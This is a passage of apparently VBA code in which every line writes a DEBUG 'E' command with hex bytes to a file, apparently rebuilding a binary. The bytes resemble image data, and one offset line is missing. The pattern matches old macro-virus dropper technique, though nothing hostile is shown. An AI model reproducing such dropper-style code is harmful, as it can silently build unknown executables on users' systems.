Print #1, "E 1570 88 69 6E 1D ED FB FF 10 99 A9 C5 99 B0 31 34 58"

Print #1, "E 1580 34 1B FF FF 0E 96 2A A7 D2 77 BC 6C 90 42 44 2E"

Print #1, "E 1590 FF CA D2 A5 B9 4F 6F 90 1C 92 FE FF 39 0E FF F8"

Print #1, "E 15A0 FF FF FF FF 04 FF 04 FF FF FF FF FF 04 04 FF FF"

Print #1, "E 15B0 FF 04 04 FF FF FF 04 FF FF FF 04 04 04 FF FF 04"

Print #1, "E 15C0 FF FF 04 FF 04 FF 04 FF FF FF FF 04 04 FF 04 FF"

Print #1, "E 15D0 04 FF FF FF 04 FF FF FF FF FF FF 04 04 04 FF FF"

Print #1, "E 15E0 FF FE FA F1 0F 62 AA 9D 62 9D AA 2F 44 52 45 52"

Print #1, "E 15F0 6E 59 8C 67 BE 4F 8D 34 0E FF FF 0E 98 C6 C5 B9"

Print #1, "E 1600 85 52 B3 5C 58 64 FA FF 10 B8 B7 C5 95 A7 38 B5"

Print #1, "E 1610 B5 B5 52 5C C3 B7 B7 20 D2 8B 8E 32 32 31 D6 FA"

Print #1, "E 1620 12 63 FE F8 FF FF 04 04 FF FF FF FF FF 04 04 04"

Print #1, "E 1630 FF FF FF 04 FF FF 04 04 FF FF FF FF FF FF FF 04"

Print #1, "E 1640 04 04 04 FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 1650 FF FF FF FF 04 FF 04 FF FF FF FF FF 04 04 FF FF"

Print #1, "E 1660 FF FF FF 04 FF FF 04 04 0E AC AA 77 AC A9 AA 4C"

Print #1, "E 1670 34 34 44 52 58 35 8B BE 88 6C 6F 28 0E 0D FF FF"

Print #1, "E 1680 6B A9 9D D2 A9 41 7B 8F 8F 64 F6 0E 16 A7 B7 A7"

Print #1, "E 1690 2A A7 A9 6E 44 59 B5 6F 3B DB C5 96 B8 9D 7E 6F"

Print #1, "E 16A0 32 32 8D AD 0F 9E C3 F1 FE F1 FF 04 FF 04 FF FF"

Print #1, "E 16B0 FF FF 04 FF FF FF FF FF FF 04 04 04 FF FF FF FF"

Print #1, "E 16C0 FF 04 FF 04 04 FF FF FF FF FF FF 04 FF FF 04 FF"

Print #1, "E 16D0 04 04 FF 04 FF 04 FF FF FF FF FF 04 04 04 04 FF"

Print #1, "E 16E0 FF FF FF 04 FF FF 04 04 FF FF FF FA F6 0E 4C BC"

Print #1, "E 16F0 BC 77 62 BD BF 35 58 B3 31 1D 11 6C 56 56 50 6A"

Print #1, "E 1700 F4 FF FF FF 70 21 60 99 C5 7B 34 5C 8F CD FF 0F"

Print #1, "E 1710 B7 C5 A7 2A B7 C5 D2 6D 42 6D 6A 4E 67 AC 80 9A"

Print #1, "E 1720 A7 D2 8E 8E 6F 32 59 1C F8 FF 36 64 F6 FB FF FF"

Print #1, "E 1730 04 04 FF 04 FF 04 04 04 04 04 FF FF 04 04 FF FF"

Print #1, "E 1740 FF FF 04 FF FF 04 FF FF FF FF FF FF 04 FF FF 04"

Print #1, "E 1750 FF 04 FF FF FF FF 04 FF FF 04 04 FF FF 04 04 FF"

Print #1, "E 1760 04 04 04 FF 04 FF FF FF FF FF FF FA 04 FF FF FA"

Print #1, "E 1770 04 FF 0F 9B 62 AC BC BD 9E 58 6E 45 B3 3F F1 FF"

Print #1, "E 1780 FF F1 FF F1 F8 0E F1 FF 0E 0F 99 A7 B7 43 34 5C"

Print #1, "E 1790 43 CD FF 0F 60 A7 D2 96 A7 A7 C5 44 6E B5 45 7E"

Print #1, "E 17A0 8D 67 77 9A 80 D2 6F 6D 32 53 45 42 FA FF 0E 9E"

Print #1, "E 17B0 FC FF FF FF 04 FF 04 04 FF 04 FF FF 04 FF 04 FF"

Print #1, "E 17C0 FF FF FF 04 04 FF FF 04 04 FF FF 04 FF FF FF FF"

Print #1, "E 17D0 FF FF FF FF FF 04 FF FF 04 04 FF 04 FF FF FF FF"

Print #1, "E 17E0 FF FF 04 FF FF 04 FF FF FF 04 04 FF FF 04 FF FF"

Print #1, "E 17F0 FF FF 04 FF 04 FF F1 10 AC BD BD AC 38 31 52 A2"

Print #1, "E 1800 8F 41 0E FB FA FA FF FF FF FE FF DC 80 4C AA CA"

Print #1, "E 1810 B7 23 34 5C 6B 24 FF 0F 2A C5 A7 2A A7 B7 9D 52"

Print #1, "E 1820 59 45 B5 8E 6C 4D AB 49 62 BA 5A 6E 8D 59 B5 B5"

Print #1, "E 1830 C3 FB FA 11 17 F1 FE FF 04 04 04 FF 04 04 04 FF"

Print #1, "E 1840 FF 04 04 FF 04 04 FF 04 FF FF FF FF 04 FF 04 04"

Print #1, "E 1850 FF FF FF 04 FF 04 04 FF 04 FF FF 04 FF FF FF FF"

Print #1, "E 1860 FF FF 04 FF FF 04 FF 04 FF FF FF FF 04 FF FF 04"

Print #1, "E 1870 FF FF FF FF FF 04 FF FF FF FF F6 FF 91 AC AC 38"

Print #1, "E 1880 AC 79 44 45 A2 43 F1 FF FF FF FF FF FF FE FF D2"

Print #1, "E 1890 9D 88 AC DB 49 7B 34 5C D0 FF FF 0F 2A C5 A7 B7"

Print #1, "E 18A0 A7 B7 9E 52 59 52 34 90 4F 88 AB 77 62 A9 67 B5"

Print #1, "E 18B0 B3 8D 59 6E 7B F9 FA 0E 78 04 FF 04 FF FF FF FF"

Print #1, "E 18C0 FF FF 04 FF FF 04 FF FF FF FF FF 04 FF FF 04 FF"

Print #1, "E 18D0 04 04 FF FF FF FF FF FF FF FF 04 04 04 FF FF FF"

Print #1, "E 18E0 04 04 FF FF 04 FF FF FF FF 00 FF FF 04 04 04 04"

Print #1, "E 18F0 FF FF FF FF FF FF FF FF 04 04 FF FF FF FF FF FF"

Print #1, "E 1900 0E 7A BC AC BD 69 58 52 44 15 F6 FF FF FF FF FF"

Print #1, "E 1910 FF FE 0E 98 B9 BC 49 B9 7B 7B 58 58 64 FF F1 0E"

Print #1, "E 1920 2A A7 A7 B7 B7 B8 83 52 44 52 34 59 4F BD BC B9"

Print #1, "E 1930 80 80 9D 6D 6E 59 7E 42 45 64 FA F7 10 1A 0E FF"

Print #1, "E 1940 FF 04 FF FF 04 FF FF FF FF FF FF FF FF 04 FF FF"

Print #1, "E 1950 04 04 04 FF FF 04 FF FF FF 04 04 FF FF FF FF FF"

Print #1, "E 1960 FF FF FF 04 04 04 04 04 FF FF FF FF FF 04 FF FF"

Print #1, "E 1970 FF 04 04 04 FF 04 04 FF 04 FF FF FF FF FA FA FF"

Print #1, "E 1980 04 FF FF FF F8 FF 27 BD 85 67 58 A2 7B 23 F8 FF"

Print #1, "E 1990 FF FF FF FF 0E F6 FF DC 9A 99 99 80 41 7B 36 34"

Print #1, "E 19A0 64 FF FA 0E 96 A7 B8 B7 A7 A7 78 44 52 34 7B 5C"

Print #1, "E 19B0 4E 9D DB 80 60 60 D2 AC 5A 8E 7E 6D 44 7B F8 FE"

Print #1, "E 19C0 FF 49 21 FF 04 FF 04 04 FF FF FF FF FF FF FF 04"

Print #1, "E 19D0 FF FF FF FF FF FF FF FF 04 04 FF FF FF FF FF FF"

Print #1, "E 19E0 04 04 FF FF 04 04 FF 04 FF 04 04 FF 04 FF FF FF"

Print #1, "E 19F0 FF FF FF 00 FF FF FF FF FF FF 04 FF FF FF 04 FF"

Print #1, "E 1A00 00 04 FF 04 FF FF 04 FF FF 04 FF 0E 2D BE BE 36"

Print #1, "E 1A10 1D FE FE F8 FF C3 97 4A 78 ED 0E 0E 0F AA 80 80"

Print #1, "E 1A20 58 28 43 68 FF FF FE EB D4 2A B8 95 A7 A7 AB 34"

Print #1, "E 1A30 44 52 52 7B FE 10 D2 B8 B7 B7 A7 D2 A9 6E 6E 45"

Print #1, "E 1A40 52 52 D0 FA FF FF 97 FF FF FF FF FF FF FF FF FF"

Print #1, "E 1A50 FF 04 04 04 FF FF 04 FF FF 04 FF 04 FF FF 04 04"

Print #1, "E 1A60 FF FF FF 04 FF FF FF FF 04 04 FF 04 FF FF FF FF"

Print #1, "E 1A70 FF 04 FF FF FF 00 FF 00 00 FF 04 FF FF 04 04 FF"

Print #1, "E 1A80 FF FF FF 04 FF 04 00 04 04 FF FF FF FF FF 04 FA"

Print #1, "E 1A90 F8 0E 67 67 43 0E 0E 0E C5 9D AC 87 7C 40 3A E4"

Print #1, "E 1AA0 0E 77 99 DB 5C 52 3C FF FF FE FE F1 0E 96 B7 B8"

Print #1, "E 1AB0 A7 B9 AB 52 44 52 58 15 FF 0F B8 B8 96 B7 B8 C5"

Print #1, "E 1AC0 B9 B5 6D 59 52 34 3F F9 FF F1 D0 FF FF FF FF FF"

Print #1, "E 1AD0 FF FF 04 FF 04 FF FF FF FF FF FF 04 04 FF 04 FF"

Print #1, "E 1AE0 04 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 1AF0 FF FF FF FF 04 FF FF FF FF 04 04 00 04 FF FF 04"

Print #1, "E 1B00 04 04 FF 04 FF FF 04 00 FF 00 FF FF FF FF 04 04"

Print #1, "E 1B10 04 FF FF FF 0E FF FB 12 9F FF FA 0E 99 B9 BC BD"

Print #1, "E 1B20 6C 50 6C 3E 84 10 96 A7 A2 2F 64 F1 FA FF FA FF"

Print #1, "E 1B30 0E B7 A7 A7 B9 BA A9 52 52 52 58 43 FF 0E 99 B8"

Print #1, "E 1B40 2A A7 B8 A7 D2 52 44 44 52 34 34 E1 FF FF 0F FF"

Print #1, "E 1B50 FF FF F1 FF FF 04 04 FF FF FF FF 04 FF FF FF 04"

Print #1, "E 1B60 FF 04 04 04 FF 04 FF FF FF FF 04 FF 04 FF 04 FF"

Print #1, "E 1B70 FF FF 04 FF FF FF FF FF FF 04 FF FF FF 00 FF 04"

Print #1, "E 1B80 04 FF FF FF 04 FF 00 04 FF FF FF 00 FF FF FF 00"

Print #1, "E 1B90 FF 04 04 FF FF FF FF FF 10 3A F1 F1 FB F6 F8 0E"

Print #1, "E 1BA0 C4 D2 A7 A9 4E 50 8E B4 90 67 2A 2A 41 7A 0E F6"

Print #1, "E 1BB0 FA FF F8 F1 0E 2A 80 49 77 C6 80 41 44 52 34 43"

Print #1, "E 1BC0 FF FA 9A B8 2A A7 A7 C5 B9 78 44 44 52 34 34 1B"

Print #1, "E 1BD0 FE FF 0E 61 FF FF FF 04 FF FF FF FF 04 FF 04 FF"

Print #1, "E 1BE0 FF 04 FF 04 FF 04 FF FF 04 FF 04 FF 04 FF FF 04"

Print #1, "E 1BF0 FF 04 04 FF FF FF 04 04 FF FF FF 04 FF FF FF FF"

Print #1, "E 1C00 FF 00 00 FF FF FF 04 FF FF FF 00 FF FF 00 04 FF"

Print #1, "E 1C10 FF 00 FF 00 04 FF FF 04 FF 04 FF FF 0E AE 6B C3"

Print #1, "E 1C20 F8 FA 0F 0E 82 D2 B9 38 90 6F 4F 55 7C AF A9 83"

Print #1, "E 1C30 23 DD FF FE FF FF FA FF 0F 80 9E 77 80 99 C5 43"

Print #1, "E 1C40 52 41 34 7A FF F8 9C D2 2A B9 A7 A7 C5 AB 44 44"

Print #1, "E 1C50 52 58 41 CD FA FE FF E5 FF 0E FF FF FF FF FF 04"

Print #1, "E 1C60 04 04 04 FF FF 04 04 04 04 FF FF FF FF 04 FF 04"

Print #1, "E 1C70 04 FF 04 FF FF FF 04 FF 04 04 FF FF FF 04 FF FF"

Print #1, "E 1C80 04 FF 04 04 FF 04 04 04 00 FF FF FF FF 00 00 FF"

Print #1, "E 1C90 04 FF 04 00 00 FF FF 04 FF 04 FF FF 04 04 FF FA"

Print #1, "E 1CA0 0E 4B 70 67 2F F1 FF F4 B2 BC AC AC 8B 7C 78 2F"

Print #1, "E 1CB0 1C B5 B3 31 23 FF F6 FE FF FF FE FF 0F A0 AC B9"

Print #1, "E 1CC0 C5 A7 2A 79 34 52 34 68 FF F8 27 C5 2A C5 A7 A7"

Print #1, "E 1CD0 A7 62 44 44 41 8F 23 6B F8 FF FF 61 0E FF FE FF"

Print #1, "E 1CE0 FF 04 04 04 FF 04 FF FF FF 04 04 FF FF FF 04 04"

Print #1, "E 1CF0 04 FF 04 FF 04 04 04 FF FF FF FF FF FF FF 04 04"

Print #1, "E 1D00 04 FF 04 04 FF 04 FF FF 04 FF 04 FF 04 FF FF FF"

Print #1, "E 1D10 FF FF 00 FF 00 FF FF 04 00 FF FF FF 04 04 04 FF"

Print #1, "E 1D20 04 FF 04 FF FF 80 3C 10 B1 55 FF FA 0E 4A 85 8C"

Print #1, "E 1D30 8C 7C 6C 4F 8E 90 6F 41 0E FF FF FF FF F1 FF FF"

Print #1, "E 1D40 EF 0E 5D 60 B7 A9 9D 41 44 58 7F 08 F6 FF 0F 96"

Print #1, "E 1D50 D2 99 A7 99 A9 62 41 31 41 5C 7B 63 FF FE FF CD"

Print #1, "E 1D60 F1 FA 0E FF 04 FF FF FF FF FF 04 FF FF 04 FF 04"

Print #1, "E 1D70 FF FF FF FF 04 FF FF 04 FF 04 04 FF 04 04 FF FF"

Print #1, "E 1D80 FF 04 FF FF FF 04 04 FF 04 FF FF FF 04 FF FF FF"

Print #1, "E 1D90 04 FF FF FF 04 FF FF 00 04 00 FF 00 00 FF FF FF"

Print #1, "E 1DA0 FF 04 04 FF 04 FF 04 FF 04 9F 6A F1 9B 67 2D F1"

Print #1, "E 1DB0 F1 FF 30 40 40 7C 6C 4F 6E 90 5A 3E FA 0D 0E E0"

Print #1, "E 1DC0 FA FB F8 FF F1 FF A5 2A 77 77 AA A0 45 B3 A2 FF"

Print #1, "E 1DD0 F1 FF 0E 75 D2 D2 BA 80 BA B9 8A 52 34 5C 43 63"

Print #1, "E 1DE0 F1 FE FF 63 FF FA FF FF FF FF FF FF 04 FF 04 FF"

Print #1, "E 1DF0 04 FF FF FF FF FF FF 04 04 FF FF FF FF FF 04 FF"

Print #1, "E 1E00 FF 04 04 FF FF 04 FF 04 FF 04 FF FF 04 FF FF 04"

Print #1, "E 1E10 FF FF FF FF FF 04 FF FF FF FF FF 04 FF FF FF FF"

Print #1, "E 1E20 04 04 FF FF FF FF FF 04 04 FF FF FF FF FE 11 79"

Print #1, "E 1E30 0E 0F B1 5B 8C 6C 8A EE FB FF FF FF FE FF F1 F1"

Print #1, "E 1E40 FE F1 FF 91 3A 82 FF FA F8 0E AE 7C AC A7 C5 31"

Print #1, "E 1E50 5C 8F 18 FE FF 0E FA 10 D3 BC A9 A9 B9 BA A9 34"

Print #1, "E 1E60 34 58 8F 64 F1 FF FF 97 0E FF FF FF FF FF 04 FF"

Print #1, "E 1E70 FF 04 FF FF 04 FF 04 FF FF 04 04 04 FF 04 FF 04"

Print #1, "E 1E80 FF FF FF FF FF 04 04 04 04 04 FF FF FF 04 04 FF"

Print #1, "E 1E90 FF FF FF FF FF FF FF 04 FF FF 04 FF FF 04 FF FF"

Print #1, "E 1EA0 FF 04 FF FF FF FF 04 FF FF FF 04 04 FF 04 FF FF"

Print #1, "E 1EB0 04 FB FB 13 D1 FF 8A AF 67 D0 36 4E E2 FF FF FA"

Print #1, "E 1EC0 F6 F1 FF FE FF F1 FA FF 0F 0F FA F6 F1 0E CD 9C"

Print #1, "E 1ED0 D2 B7 A7 58 52 34 1D 0E F1 FE F8 0E 91 A9 80 80"

Print #1, "E 1EE0 99 C5 A7 41 1D 58 A2 64 FF F1 0E 81 EA FF 0D FF"

Print #1, "E 1EF0 04 FF 04 FF FF FF 04 FF 04 FF 04 FF 04 FF 04 04"

Print #1, "E 1F00 04 04 FF 04 FF 04 04 FF FF FF FF FF 04 04 FF FF"

Print #1, "E 1F10 FF FF FF FF 04 FF FF FF FF FF FF FF FF 04 FF FF"

Print #1, "E 1F20 FF FF 04 FF 04 04 FF FF FF FF 04 FF FF 04 FF FF"

Print #1, "E 1F30 FF FF FF FF 0E F6 FF F1 70 F1 0E 11 4E 41 FA FE"

Print #1, "E 1F40 FF F1 FF FF FE FE FA FF FF FF FF 70 F1 0E FF 0D"

Print #1, "E 1F50 FF D8 9A 49 9A 99 9E B3 58 8F 9F 0E F2 FF FF 0E"

Print #1, "E 1F60 0E 49 99 A7 B8 A7 A7 BF 52 34 7B 1B FA FF 97 82"

Print #1, "E 1F70 FF FA 0E 04 04 FF FF FF FF FF FF FF 04 FF FF 04"

Print #1, "E 1F80 FF FF 04 04 04 04 FF 04 04 FF FF 04 FF FF FF FF"

Print #1, "E 1F90 FF 04 FF FF FF FF FF 04 FF FF FF FF FF FF 04 FF"

Print #1, "E 1FA0 FF FF FF FF 04 04 04 04 04 04 04 04 FF 04 FF 04"

Print #1, "E 1FB0 FF 04 FF 04 FF FF FF FF FF FF FF FB F1 FF FB FB"

Print #1, "E 1FC0 F2 F1 FF FE FF FF F6 FE 07 07 FF FF 08 A3 9B AC"

Print #1, "E 1FD0 AB 2C FF FF 0F 2A 80 BD AA C5 34 58 8F 34 64 0E"

Print #1, "E 1FE0 F6 0E C4 2C 0E 0F A7 A7 B7 2A 60 A2 34 43 7B 0B"

Print #1, "E 1FF0 FB FF A9 10 FF FA 0E 04 04 FF FF FF FF 04 FF FF"

Print #1, "E 2000 04 FF 04 FF FF FF 04 04 FF 04 FF 04 04 FF FF 04"

Print #1, "E 2010 FF 04 FF FF FF FF FF 04 04 FF FF FF 04 FF FF FF"

Print #1, "E 2020 FF FF FF FF FF 04 04 FF FF 04 04 04 04 04 FF 04"

Print #1, "E 2030 FF 04 FF 04 04 FF 04 FF 04 FF FF FF 0E FF FA 0E"

Print #1, "E 2040 F8 FF F2 F1 FF FF FA F1 F6 FF 0F 49 7B 0E E9 D8"

Print #1, "E 2050 BD 38 85 BD 4F 40 F8 FF C2 C5 D3 AA BC D0 31 5C"

Print #1, "E 2060 5C 1D 0E 0E F8 0F B9 6E 63 0E B9 99 A7 A7 99 41"

Print #1, "E 2070 43 BF 7B 0E FE C0 AC 0E FF F8 0E FF FF 04 FF FF"

Print #1, "E 2080 FF FF FF 04 FF 04 FF 04 FF FF 04 04 FF 04 04 04"

Print #1, "E 2090 FF 04 FF 04 FF FF FF FF FF FF FF FF 04 04 04 FF"

Print #1, "E 20A0 FF FF FF 04 FF 04 04 04 04 04 04 04 FF FF FF FF"

Print #1, "E 20B0 FF FF FF 04 FF 04 FF 04 04 04 FF FF FF FF FF FF"

Print #1, "E 20C0 FF FF FF FF F1 FF FE FE FF FF 0E FF FF C3 C5 67"

Print #1, "E 20D0 4E 85 85 BD A9 77 BD AF 88 8D F1 CF 5D A7 D2 B9"

Print #1, "E 20E0 AB 41 B3 52 A2 24 FA FE F1 2B A7 8D 44 61 C5 99"

Print #1, "E 20F0 60 A7 C5 58 7B 44 63 FE FF D2 4C 10 FB FA FF F1"

Print #1, "E 2100 04 FF 04 FF 04 04 FF FF FF FF FF FF FF 04 FF FF"

Print #1, "E 2110 FF 04 FF 04 FF FF 04 04 04 FF 04 FF FF FF 04 FF"

Print #1, "E 2120 04 04 FF 04 04 04 04 04 FF FF FF FF FF 04 04 FF"

Print #1, "E 2130 04 FF FF FF FF FF FF 04 04 FF 04 FF FF FF FF FF"

Print #1, "E 2140 04 04 04 04 04 FF FF 04 FF 0E FF 81 C3 0F FF FF"

Print #1, "E 2150 85 BC 38 BD AF 59 32 3E AB AC AC 3B 7E 53 4D BD"

Print #1, "E 2160 D3 99 25 44 41 52 23 10 FF FF FF 0E C5 96 B8 3B"

Print #1, "E 2170 6E 50 C6 A7 B7 99 78 52 A2 2E 0F CE D2 A7 3D 34"

Print #1, "E 2180 04 FF FF FA FE 04 FF 04 04 FF FF FF FF FF FF FF"

Print #1, "E 2190 FF 00 04 04 FF 04 04 04 FF 04 04 04 FF FF FF 04"

Print #1, "E 21A0 FF 04 FF FF FF 04 FF 04 04 04 04 04 04 FF FF FF"

Print #1, "E 21B0 FF FF 04 04 04 FF FF FF 04 FF FF 04 FF FF 04 FF"

Print #1, "E 21C0 04 04 04 FF FF FF FF FF 04 04 FF FF FF FF FF BC"

Print #1, "E 21D0 4E 65 17 E8 10 AC 85 BE BD 6F 5A 4F BD BC AC 85"

Print #1, "E 21E0 59 4F 3B AC A9 4C 44 45 45 7F 71 FF FA FF FF 0E"

Print #1, "E 21F0 B7 2A CA 85 69 40 77 99 A7 99 34 5C 5C 2E 5F B7"

Print #1, "E 2200 A7 B7 8F 43 0E FF 04 FA FE FF FF 04 04 04 FF 04"

Print #1, "E 2210 FF FF 00 04 FF 00 FF FF FF 04 04 04 FF FF FF 04"

Print #1, "E 2220 FF FF 04 FF 04 FF 04 FF FF FF FF 04 FF FF FF 04"

Print #1, "E 2230 04 FF FF 04 00 FF FF FF 04 FF FF FF 04 04 04 FF"

Print #1, "E 2240 FF 04 FF 04 FF FF 04 04 04 04 04 04 04 FF 04 FF"

Print #1, "E 2250 FF FF FF A2 BC 4D 1C 64 F2 12 AE BD BD 59 5A 8C"

Print #1, "E 2260 BC AC AC BD 4E 8C 67 86 BF 41 52 52 31 7A 0E FF"

Print #1, "E 2280 45 78 C2 C5 C5 9C 1D 7A FF 04 FF 04 04 04 04 FF"

Print #1, "E 2290 FF 04 FF 04 04 FF FF FF 00 04 FF FF 04 FF FF FF"

Print #1, "E 22A0 FF FF FF 04 FF 04 FF FF FF FF 04 04 FF FF FF FF"

Print #1, "E 22B0 FF FF 04 04 FF 04 FF 04 00 00 00 00 00 FF FF FF"

Print #1, "E 22C0 FF FF FF FF 04 FF 04 FF 04 04 FF 04 04 04 04 04"

Print #1, "E 22D0 FF 04 04 FF 04 04 FF FF BA AC 52 2E 0E 0E 10 65"

Print #1, "E 22E0 AB 6A 5C 4C AC AC BD BE 8C 88 52 42 18 3F 44 52"

Print #1, "E 22F0 3F FF FF FF FF FF FF DC 99 C5 AC 8C 8C 67 AC BC"

Print #1, "E 2300 BA 85 6E 6E 32 67 AC BA B9 7B 36 04 F6 FE FF FF"

Print #1, "E 2310 FF FF FF FF 04 FF FF FF 04 FF 00 00 FF FF FF FF"

Print #1, "E 2320 FF 04 FF 04 FF FF 04 FF 04 FF 04 04 FF 04 FF FF"

Print #1, "E 2330 FF 04 FF FF FF FF 04 FF FF FF FF FF FF 00 FF 00"

Print #1, "E 2340 FF 04 FF FF FF 04 04 FF FF FF 04 FF 04 04 04 FF"

Print #1, "E 2350 FF FF FF 04 FF FF FF FF FF FF 04 FF 0F AC 8A D0"

Print #1, "E 2360 FB FA F6 10 2F 85 9F 11 BC AC AC 7E 8C 88 6D 44"

Print #1, "E 2370 42 6A 45 18 91 F6 FF FF FF FF FF 10 99 AB 9E 56"

Print #1, "E 2380 4E 67 AC AA A9 A0 6E 6D 8C 88 BD B9 7B 41 1D 04"

Print #1, "E 2390 F8 FE 04 04 04 FF 04 FF FF FF FF FF FF 04 04 FF"

Print #1, "E 23A0 FF 00 04 FF FF 04 FF FF FF FF FF FF FF FF FF 04"

Print #1, "E 23B0 04 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00"

Print #1, "E 23C0 FF FF FF FF 00 FF FF FF FF FF FF 04 FF FF 04 04"

Print #1, "E 23D0 04 FF FF FF FF FF 04 04 04 FF 04 FF 04 04 FF FB"

Print #1, "E 23E0 FF 12 3D 3C FA FF F1 FF 0F 10 2C 10 3B BA 38 8E"

Print #1, "E 23F0 8C 88 4D 44 8F 5C 41 0F FF F6 01 FE FA F1 FF FF"

Print #1, "E 2400 67 67 8B 4F 3B 67 2A BA D2 8D 69 44 8C BE 4B A2"

Print #1, "E 2410 44 41 84 FF FF FF FF 04 04 FF 04 FF FF FF 04 FF"

Print #1, "E 2420 FF FF 04 04 00 00 04 FF 04 04 04 FF FF FF FF FF"

Print #1, "E 2430 04 FF 04 FF FF FF FF FF FF FF 04 FF FF FF FF 04"

Print #1, "E 2440 FF FF FF FF 00 FF FF FF 00 FF FF 04 04 FF 04 FF"

Print #1, "E 2450 FF FF FF FF 04 FF FF 04 04 04 FF 04 04 04 FF FF"

Print #1, "E 2460 FF FF FF FF F1 70 0E F1 F6 0D FE FA FF 0E FF FF"

Print #1, "E 2470 10 BC 88 35 88 3B 6C 6A 31 14 11 1E C4 82 0E F1"

Print #1, "E 2480 FF FF FF F1 FF 13 3E 32 85 B9 75 D2 D2 6E 42 42"

Print #1, "E 2490 88 A0 41 58 8F 58 23 FF FF FF FF 04 FF FF FF FF"

Print #1, "E 24A0 FF FF FF FF 04 04 04 00 FF FF FF FF FF FF 1F 1F"

Print #1, "E 24B0 FF FF FF FF FF 04 04 04 FF 04 FF FF FF FF 04 FF"

Print #1, "E 24C0 FF FF 04 FF FF FF 00 00 00 04 04 04 FF FF FF 04"

Print #1, "E 24D0 FF FF FF FF FF FF FF 04 04 FF FF FF 04 FF FF FF"

Print #1, "E 24E0 04 04 04 04 FF FF FF F1 FF 1F 1F F8 F1 F2 F1 FF"

Print #1, "E 24F0 FF 0E FF FF F8 FF A8 0A E1 0E 66 7B 10 99 C6 BC"

Print #1, "E 2500 AF 6C 4F 6A C3 FF FF FF E1 92 97 AA AA D3 A7 2A"

Print #1, "E 2510 34 31 44 52 87 8C 45 1D 41 71 F1 FF 04 FF FF 04"

Print #1, "E 2520 04 FF FF FF FF 04 FF FF 04 FF 04 00 FF FF FF FF"

Print #1, "E 2530 FF FF 1F 1F FF 1F 1F 1F 04 1F 1F 1F 1F FF 1F 1F"

Print #1, "E 2540 04 1F 1F 04 1F 1F FF 04 1F FF 1F 1F 1F FF FF 00"

Print #1, "E 2550 FF FF 1F 1F 04 1F FF 1F 1F 1F FF 1F 1F FF FF 1F"

Print #1, "E 2560 1F FF 04 04 FF 1F 1F 1F 04 1F 1F 1F 04 1F 1F F1"

Print #1, "E 2570 FF FE FF FF F1 F1 F1 FF F1 FF 10 38 40 83 71 76"

Print #1, "E 2580 A9 9D D3 BA BD 6C 55 6F 9F E2 FF F6 11 9D BD BD"

Print #1, "E 2590 BD 80 B8 C5 41 34 58 52 AF BE 44 15 10 FF FF 04"

Print #1, "E 25A0 FF FF FF 04 FF FF 04 04 04 FF 04 04 04 FF FF 04"

Print #1, "E 25B0 04 FF FF FF 04 FF 1F 1F FF 1F 1F 1F FF 1F 1F 1F"

Print #1, "E 25C0 1F FF 1F 1F FF 1F 1F 04 1F 1F 1F 04 1F FF 1F 1F"

Print #1, "E 25D0 1F FF FF 00 00 FF 1F 1F 04 1F 04 1F 1F 1F 04 1F"

Print #1, "E 25E0 1F FF FF 1F 1F FF FF 1F 04 FF 1F 1F FF 1F 1F 1F"

Print #1, "E 25F0 0E 1F 1F FF F1 F8 FF FF FF F1 FF FE 0F FE FF BC"

Print #1, "E 2600 B1 4F 77 AA A9 80 99 B9 BC 4F 7E 59 B5 9F 0E FA"

Print #1, "E 2610 F1 76 A9 B9 76 9A C5 9E 41 34 A2 34 BE 87 3F 11"

Print #1, "E 2620 FF FA FF 04 FF FF FF 04 FF 04 04 04 FF 04 04 FF"

Print #1, "E 2630 04 04 FF FF 04 FF FF FF FF FF 1F 1F FF 1F 1F 1F"

Print #1, "E 2640 FF FF 04 04 1F 1F 1F 1F FF FF 04 04 FF 04 FF FF"

Print #1, "E 2650 FF FF FF FF FF 04 1F 1F 1F FF FF 04 FF 04 FF FF"

Print #1, "E 2660 04 04 04 04 FF FF FF 1F 1F FF FF FF FF 04 04 04"

Print #1, "E 2670 04 FF FF F1 FF 1F 1F 0E FE FF FF FF FF FA FF 0E"

Print #1, "E 2680 A6 0A E1 10 9A A9 AC AA AA DB 99 C5 9D 1C B5 B5"

Print #1, "E 2690 45 23 FF FE FF 11 AC AC AC 9D 77 6A 52 34 A2 41"

Print #1, "E 26A0 04 81 0E F1 FF 04 F6 FF FF FF FF FF 04 FF 04 FF"

Print #1, "E 26B0 04 04 FF 04 04 FF FF FF FF FF FF 04 FF FF 1F 1F"

Print #1, "E 26C0 FF 1F 1F 1F FF FF 04 FF 1F FF 1F 1F FF FF FF FF"

Print #1, "E 26D0 04 FF 04 04 04 FF FF 04 FF 04 1F 1F 1F FF 1F 1F"

Print #1, "E 26E0 04 FF 04 FF FF FF 04 FF 04 04 1F 1F 1F 1F FF FF"

Print #1, "E 26F0 04 04 04 FF FF 04 FF FF FF 1F 1F FE 13 66 84 0B"

Print #1, "E 2700 FF F6 FF 10 AF 7C 55 67 BA D3 AC 9D 9D 9D A9 DB"

Print #1, "E 2710 A9 42 52 45 44 23 E5 F1 F1 F1 0C 38 BC BD AC 62"

Print #1, "E 2720 34 58 52 41 FE F1 04 0E FF F6 FF FF 04 04 FF FF"

Print #1, "E 2730 FF FF FF 04 04 04 FF 04 04 04 FF FF FF FF FF FF"

Print #1, "E 2740 04 04 FF FF FF FF FF FF FF 04 FF FF FF FF FF FF"

Print #1, "E 2750 FF FF FF FF 04 FF FF FF FF FF FF FF 04 FF FF FF"

Print #1, "E 2760 FF FF 04 04 04 FF FF FF FF 04 04 FF FF 04 04 FF"

Print #1, "E 2770 FF FF FF 04 04 04 FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 2780 FF FF FE FA FF FF FF 0E B9 4E 8B 87 BC B9 AB BC"

Print #1, "E 2790 9D AA BA B9 A9 31 44 44 45 41 1B F8 FF F4 0E 9B"

Print #1, "E 27A0 AB AC AC AC 86 1D 44 45 FF FF 04 FF FF 04 04 FF"

Print #1, "E 27B0 04 FF FF FF 04 04 FF 04 04 FF FF 04 04 FF 00 04"

Print #1, "E 27C0 FF 04 04 04 04 04 1F 1F 04 FF FF FF 04 FF FF FF"

Print #1, "E 27D0 FF FF FF FF FF FF FF 1F FF FF FF FF FF FF FF FF"

Print #1, "E 27E0 FF FF FF FF FF FF FF FF FF 04 FF FF FF FF FF FF"

Print #1, "E 27F0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 2800 FF 1F 1F 04 FF 00 04 FA FF FF FA FF A5 60 38 1C"

